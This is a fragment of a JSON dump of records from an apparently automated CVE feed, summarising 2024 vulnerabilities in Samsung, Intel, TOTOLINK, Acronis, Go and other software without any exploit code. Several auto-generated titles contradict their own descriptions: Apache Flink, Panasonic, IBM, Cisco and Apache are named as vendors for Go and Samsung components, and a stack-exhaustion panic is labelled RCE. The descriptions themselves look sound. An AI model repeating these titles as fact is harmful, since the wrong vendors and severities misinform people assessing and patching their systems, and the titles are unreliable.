allow an authenticated user to potentially enable escalation of privilege via local access. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T19:32:19.000000Z"}, {"uuid": "c6d32d6e-4b0a-4889-b669-335bfbb5fa9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34545", "type": "seen", "source": "https://t.me/cvedetector/5735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34545 - Intel(R) RAID Web Console Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34545 \nPublished : Sept. 16, 2024, 5:16 p.m. | 14\u00a0minutes ago \nDescription : Improper input validation in some Intel(R) RAID Web Console software all versions may allow an authenticated user to potentially enable information disclosure via adjacent access. \nSeverity: 5.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-16T19:32:22.000000Z"}, {"uuid": "6fd41b99-942e-4291-bf46-c397be038d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34121", "type": "seen", "source": "https://t.me/cvedetector/5588", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34121 - Adobe Illustrator Integer Overflow or Wraparound Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34121 \nPublished : Sept. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : Illustrator versions 28.6, 27.9.5 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-13T11:41:41.000000Z"}, {"uuid": "fefdc9f5-a080-44a6-a0d6-127532324b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34018", "type": "seen", "source": "https://t.me/cvedetector/4476", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34018 - Acronis Snap Deploy Unsecured Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-34018 \nPublished : Aug. 29, 2024, 8:15 p.m. | 35\u00a0minutes ago \nDescription : Sensitive information disclosure due to insecure folder permissions. The following products are affected: Acronis Snap Deploy (Windows) before build 4569. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-29T22:55:38.000000Z"}, {"uuid": "22cc9f40-206a-4f11-8b14-efdefb9639e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34336", "type": "seen", "source": "https://t.me/cvedetector/5516", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34336 - ORDAT FOSS-Online Account Enumeration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34336 \nPublished : Sept. 12, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : User enumeration vulnerability in ORDAT FOSS-Online before v2.24.01 allows attackers to determine if an account exists in the application by comparing the server responses of the forgot password functionality. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T21:53:37.000000Z"}, {"uuid": "9d915ea1-2a23-4923-899a-1250bf5d6ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34335", "type": "seen", "source": "https://t.me/cvedetector/5515", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34335 - ORDAT FOSS-Online XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34335 \nPublished : Sept. 12, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : ORDAT FOSS-Online before version 2.24.01 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login page. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T21:53:36.000000Z"}, {"uuid": "7772ca70-f1ba-4602-85f4-6f1e90a5aa66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34334", "type": "seen", "source": "https://t.me/cvedetector/5514", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34334 - ORDAT FOSS-Online SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-34334 \nPublished : Sept. 12, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : ORDAT FOSS-Online before v2.24.01 was discovered to contain a SQL injection vulnerability via the forgot password function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T21:53:35.000000Z"}, {"uuid": "270053b1-d5f3-4d6c-9026-c6b92826651d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34019", "type": "seen", "source": "https://t.me/cvedetector/4469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34019 - Acronis Snap Deploy DLL Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34019 \nPublished : Aug. 29, 2024, 8:15 p.m. | 35\u00a0minutes ago \nDescription : Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Snap Deploy (Windows) before build 4569. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-29T22:55:28.000000Z"}, {"uuid": "b436aed1-bebe-4e2f-b749-2a8060fab5aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34577", "type": "seen", "source": "https://t.me/cvedetector/4506", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34577 - WRC-X3000GS Web Application Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-34577 \nPublished : Aug. 30, 2024, 7:15 a.m. | 31\u00a0minutes ago \nDescription : Cross-site scripting vulnerability exists in WRC-X3000GS2-B, WRC-X3000GS2-W, and WRC-X3000GS2A-B due to improper processing of input values in easysetup.cgi. If a user views a malicious web page while logged in to the product, an arbitrary script may be executed on the user's web browser. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-30T09:48:03.000000Z"}, {"uuid": "30395844-da49-46e8-bab7-17b4189174b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/cvedetector/6193", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34331 - Parallels Desktop for Mac Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34331 \nPublished : Sept. 23, 2024, 4:15 p.m. | 27\u00a0minutes ago \nDescription : A lack of code signature verification in Parallels Desktop for Mac v19.3.0 and below allows attackers to escalate privileges via a crafted macOS installer, because Parallels Service is setuid root. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-23T18:49:42.000000Z"}, {"uuid": "ed2962ce-e2a8-4abd-ae0f-23d8e2c9458b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34198", "type": "seen", "source": "https://t.me/cvedetector/4327", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34198 - TOTOLINK Wireless Router Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-34198 \nPublished : Aug. 28, 2024, 3:15 p.m. | 21\u00a0minutes ago \nDescription : TOTOLINK AC1200 Wireless Router A3002RU V2.1.1-B20230720.1011 is vulnerable to Buffer Overflow. The formWlEncrypt CGI handler in the boa program fails to limit the length of the wlan_ssid field from user input. This allows attackers to craft malicious HTTP requests by supplying an excessively long value for the wlan_ssid field, leading to a stack overflow. This can be further exploited to execute arbitrary commands or launch denial-of-service attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-28T17:38:13.000000Z"}, {"uuid": "c19ef2fa-1604-45a5-9156-6d5ed022e47d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34195", "type": "seen", "source": "https://t.me/cvedetector/4355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34195 - TOTOLINK Wireless Router Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34195 \nPublished : Aug. 28, 2024, 8:15 p.m. | 22\u00a0minutes ago \nDescription : TOTOLINK AC1200 Wireless Router A3002R Firmware V1.1.1-B20200824 is vulnerable to Buffer Overflow. In the boa server program's CGI handling function formWlEncrypt, there is a lack of length restriction on the wlan_ssid field. This oversight leads to potential buffer overflow under specific circumstances. For instance, by invoking the formWlanRedirect function with specific parameters to alter wlan_idx's value and subsequently invoking the formWlEncrypt function, an attacker can trigger buffer overflow, enabling arbitrary command execution or denial of service attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-28T22:39:31.000000Z"}, {"uuid": "84603e15-1f42-4a44-a8f6-a783b032c213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34155", "type": "seen", "source": "https://t.me/cvedetector/5007", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34155 - Go Parse Stack Exhaustion Panic Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34155 \nPublished : Sept. 6, 2024, 9:15 p.m. | 43\u00a0minutes ago \nDescription : Calling any of the Parse functions on Go source code which contains deeply nested literals can cause a panic due to stack exhaustion. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T00:07:53.000000Z"}, {"uuid": "a58ee40f-547a-4c52-ad95-0e220493c1ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34057", "type": "seen", "source": "https://t.me/cvedetector/6017", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34057 - Triangle Microworks TMW IEC 61850 Client Buffer Overflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-34057 \nPublished : Sept. 18, 2024, 7:15 p.m. | 21\u00a0minutes ago \nDescription : Triangle Microworks TMW IEC 61850 Client source code libraries before 12.2.0 lack a buffer size check when processing received messages. The resulting buffer overflow can cause a crash, resulting in a denial of service. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T21:46:21.000000Z"}, {"uuid": "6f740216-aa9e-4988-9e25-59f58f4a0daf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34399", "type": "seen", "source": "https://t.me/cvedetector/6008", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34399 - BMC Remedy Mid Tier Account Takeover Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34399 \nPublished : Sept. 18, 2024, 6:15 p.m. | 31\u00a0minutes ago \nDescription : **UNSUPPORTED WHEN ASSIGNED** An issue was discovered in BMC Remedy Mid Tier 7.6.04. An unauthenticated remote attacker is able to access any user account without using any password. NOTE: This vulnerability only affects products that are no longer supported by the maintainer and the impacted version for this vulnerability is 7.6.04 only. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T20:55:58.000000Z"}, {"uuid": "63f6d982-c25b-4382-a076-096f63ff4225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34158", "type": "seen", "source": "https://t.me/cvedetector/5006", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34158 - Go Go Stack Exhaustion RCE\", \n  \"Content\": \"CVE ID : CVE-2024-34158 \nPublished : Sept. 6, 2024, 9:15 p.m. | 43\u00a0minutes ago \nDescription : Calling Parse on a \"// +build\" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T00:07:52.000000Z"}, {"uuid": "174191bc-3160-4677-acde-992d3b5219b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34156", "type": "seen", "source": "https://t.me/cvedetector/5003", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34156 - Apache Flink Stack Exhaustion Panic\", \n  \"Content\": \"CVE ID : CVE-2024-34156 \nPublished : Sept. 6, 2024, 9:15 p.m. | 43\u00a0minutes ago \nDescription : Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-07T00:07:49.000000Z"}, {"uuid": "21848ef0-7fa2-4c4e-a58d-5b484931a936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34660", "type": "seen", "source": "https://t.me/cvedetector/4759", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34660 - Samsung Notes Heap-Based OOB Write Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34660 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Heap-based out-of-bounds write in Samsung Notes prior to version 4.4.21.62 allows local attackers to execute arbitrary code. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:50.000000Z"}, {"uuid": "fee83ce4-8a6e-4f6d-9a4b-b2d0bdadb13e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34651", "type": "seen", "source": "https://t.me/cvedetector/4767", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34651 - Vulnerability in My Files - Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-34651 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Improper authorization in My Files prior to SMR Sep-2024 Release 1 allows local attackers to access restricted data in My Files. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:23:03.000000Z"}, {"uuid": "e1704e22-7744-44e6-962d-7e29d6a9ce50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34656", "type": "seen", "source": "https://t.me/cvedetector/4766", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34656 - Samsung Notes Path Traversal Arbitary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34656 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Path traversal in Samsung Notes prior to version 4.4.21.62 allows local attackers to execute arbitrary code. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:23:02.000000Z"}, {"uuid": "e0753a2f-b069-4cdd-8b34-df0a53014afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34653", "type": "seen", "source": "https://t.me/cvedetector/4765", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34653 - Panasonic My Files Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34653 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Path Traversal in My Files prior to SMR Sep-2024 Release 1 allows physical attackers to access directories with My Files' privilege. \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:23:01.000000Z"}, {"uuid": "638796d8-da80-436f-bd51-79882ce9fdcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34655", "type": "seen", "source": "https://t.me/cvedetector/4764", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34655 - Apache UniversalCredentialManager Privileged API Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34655 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Incorrect use of privileged API in UniversalCredentialManager prior to SMR Sep-2024 Release 1 allows local attackers to access privileged API related to UniversalCredentialManager. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:57.000000Z"}, {"uuid": "8f211b3c-dc49-4db0-8b7d-65ab826a3fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34652", "type": "seen", "source": "https://t.me/cvedetector/4763", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34652 - \"IBM kperfmon Unauthenticated Information Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-34652 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Incorrect authorization in kperfmon prior to SMR Sep-2024 Release 1 allows local attackers to access information related to performance including app usage. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:56.000000Z"}, {"uuid": "7d5c4283-0189-4cd7-9db6-19b6d54a0615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34654", "type": "seen", "source": "https://t.me/cvedetector/4762", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34654 - My Files Android Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34654 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Improper Export of android application component in My Files prior to SMR Sep-2024 Release 1 allows local attackers to access files with My Files' privilege. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:55.000000Z"}, {"uuid": "af9b32f4-d5da-4423-a016-632fb4d772c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34657", "type": "seen", "source": "https://t.me/cvedetector/4761", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34657 - Samsung Notes Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34657 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Stack-based out-of-bounds write in Samsung Notes prior to version 4.4.21.62 allows remote attackers to execute arbitrary code. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:55.000000Z"}, {"uuid": "8e62e7f3-8763-42f4-b2ba-bb7a6c0b6f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34658", "type": "seen", "source": "https://t.me/cvedetector/4760", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34658 - Samsung Notes ASLR Bypass Buff Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-34658 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Out-of-bounds read in Samsung Notes allows local attackers to bypass ASLR. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:54.000000Z"}, {"uuid": "d7746fac-1bb1-453e-a94e-042907db4b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34649", "type": "seen", "source": "https://t.me/cvedetector/4769", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34649 - Samsung Galaxy Multi-Tasking Framework Unauthorized Screen Access policing\", \n  \"Content\": \"CVE ID : CVE-2024-34649 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Improper access control in new Dex Mode in multitasking framework prior to SMR Sep-2024 Release 1 allows physical attackers to temporarily access an unlocked screen. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:23:04.000000Z"}, {"uuid": "782e959d-f4f0-419e-ab25-edb40c379a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34650", "type": "seen", "source": "https://t.me/cvedetector/4768", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34650 - CocktailbarService Edge Panel Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-34650 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Incorrect authorization in CocktailbarService prior to SMR Sep-2024 Release 1 allows local attackers to access privileged APIs related to Edge panel. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:23:03.000000Z"}, {"uuid": "f051113c-81d4-4942-9234-3cdf677c2225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34659", "type": "seen", "source": "https://t.me/cvedetector/4758", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34659 - Cisco GroupSharing Remote Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34659 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Exposure of sensitive information in GroupSharing prior to version 13.6.13.3 allows remote attackers can force the victim to join the group. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:49.000000Z"}, {"uuid": "3f0bd946-a610-46b0-a34a-afb2a2acb475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34661", "type": "seen", "source": "https://t.me/cvedetector/4756", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34661 - Samsung Assistant Location Data Exfiltration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34661 \nPublished : Sept. 4, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : Improper handling of insufficient permissions in Samsung Assistant prior to version 9.1.00.7 allows remote attackers to access location data. User interaction is required for triggering this vulnerability. 